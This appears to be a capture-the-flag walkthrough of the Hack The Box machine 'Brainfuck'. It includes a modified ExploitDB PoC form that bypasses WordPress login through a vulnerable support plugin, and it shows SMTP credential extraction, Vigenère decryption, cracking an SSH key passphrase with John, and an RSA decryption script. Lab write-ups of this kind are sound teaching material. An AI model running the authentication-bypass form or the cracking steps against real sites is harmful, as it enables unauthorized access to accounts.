Brainfuck (Insane)


In the enumeration phase, we investigate the SSL certificate and learn two DNS names. One name points to a WordPress site and the other points to a "secret forum".
We run WPScan and find a vulnerable plugin. Exploiting this vulnerability, we gain access to the WordPress Admin panel without knowing the password.
The admin panel contains a SMTP password, and we can get access to the emails using Evolution. The credential for the "secret forum" is in one of the emails.
In the "secret forum", we encounter an "encrypted" thread and we have to figure out a way to decrypt the ciphertexts. Once all the messages are decrypted, we get a download link for an encrypted RSA key. We need crack the password out of it using John. At this stage, we can SSH in as Orestis and get the user flag.
In the privilege escalation phase, we are given a simple RSA encryption script and the objective is RSA decryption. The output is the root flag.

Skills Learned

  • Enumerating SSL certificates
  • Exploiting WordPress
  • Exploit modification
  • Enumerating mail servers
  • Decoding Vigenere ciphers
  • SSH key brute forcing
  • RSA decryption techniques


  • RHOST:
  • LHOST:


Intuition tells us to investigate port 443.

SSL Certificate Enumeration

Visiting gives us a blank nginx page:
Click the "lock" icon and investigate the SSL certificate:
SSL certificate
First, we get an email address [email protected]:
Next, we get two DNS names www.brainfuck.htb and sup3rs3cr3t.brainfuck.htb:
DNS names
Now we should add brainfuck.htb www.brainfuck.htb sup3rs3cr3t.brainfuck.htb to /etc/hosts and visit https://brainfuck.htb, https://www.brainfuck.htb, and https://sup3rs3cr3t.brainfuck.htb to see if there is any valid page. It turns out that https://brainfuck.htb and https://www.brainfuck.htb point to a WordPress site:
And https://sup3rs3cr3t.brainfuck.htb points to "Super Secret Forum":
Super Secret Forum


When we see a WordPress site, usually we want to run WPScan in the background using the command wpscan --url https://brainfuck.htb --disable-tls-checks. In this case, WPScan finds an outdated plugin named wp-support-plus-responsive-ticket-system:
We can also enumerate the usernames using WPScan. The command is wpscan --url https://brainfuck.htb --disable-tls-checks --enumerate u. WPScan finds two usernames admin and administrator:
admin and administrator

WP Support Plus Responsive Ticket System 7.1.3 Privilege Escalation

Searching this plugin on Google leads us to ExploitDB 41006 at It suggests that we can log in to admin panel without knowing any password using the PoC HTML file. We need to modify the "action" attribute to "https://brainfuck.htb/wp-admin/admin-ajax.php". Also, the administrator user is a low-privilege user and the admin user is what we want. The final PoC HTML content is:
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
Username: <input type="text" name="username" value="admin">
<input type="hidden" name="email" value="sth">
<input type="hidden" name="action" value="loginGuestFacebook">
<input type="submit" value="Login">
What we want to do here is saving this HTML code as PoC.html and run firefox PoC.html. Click "Login". This request will let the server assign an admin cookie for us.
Go back to the WordPress site and refresh the page. Now we have access to the admin panel:
Admin panel

WP Admin Panel => SMTP Password

Enter the admin panel and navigate to "Settings => Easy WP SMTP". There is a hidden SMTP password:
Hidden password
This "hidden" SMTP password can be obtained through developer tools. The password is kHGuERB29DNiNE:
SMTP password

SMTP Login => Forum Credential

We use evolution for SMTP login. Install it:
$ apt install evolution
Open the evolution client:
$ evolution
Go to "File => New => Mail Account" and set up an account with the credential orestis:kHGuERB29DNiNE. The email address is [email protected]:
Identity setting
Receiving Email setting
Sending Email setting
The credential for the "secret forum" is in one of the emails:
Forum credential
The credential is orestis:kIEnnfEKJ#9UmdO.

Forum Login => SSH Key

Now we go back to the "secret forum" and log in as orestis:
Secret forum login
In the thread "SSH Access", we can learn that Orestis is a really nice person and there is an "encrypted" thread. Also note that Orestis has a "signature template": each thread ends with Orestis - Hacking for fun and profit:
SSH Access
This "signature" will be crucial in the decryption phase. That "encrypted" thread is just "Key". Note that Orestis's signature is encrypted as three different ciphertexts:
This is the behavior of Vigenère cipher. From, we obtain the Vigenère cipher key:
Vigenère cipher key
The key is fuckmybrain. Once we have the key, we can decrypt each ciphertext. The crucial message contains a download link to the SSH key:
Download link
Just change the IP address and download the SSH key:
$ wget --no-check-certificate

Foothold: Encrypted SSH Key

Here is the content of the id_rsa file:
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6904FEF19397786F75BE2D7762AE7382
Note that this SSH private key is encrypted and we need to brute-force the password. This password will be used when we SSH in as Orestis. First, we need to do ssh2john to convert the format. We use
$ ./ id_rsa > hash.txt
Next, crack the hash with John:
$ wget
$ john hash.txt --wordlist=rockyou.txt
The password is 3poulakia!:
Now SSH in as Orestis:
$ chmod 600 id_rsa
$ ssh -i id_rsa [email protected]
We are Orestis:

Privilege Escalation: RSA Decryption

The encrypt.sage file contains the source code for RSA encryption:
nbits = 1024
password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
e = ZZ.random_element(phi)
c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
The root flag /root/root.txt is encrypted using this script and our object is to decrypt it. This challenge is trivial since $p$, $q$, and $e$ are stored in debug.txt:
Write a simple decryption script locally:
#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
c = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
#--------RSA decryption--------#
N = p * q
phi = (p - 1 ) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
The output is just the root flag.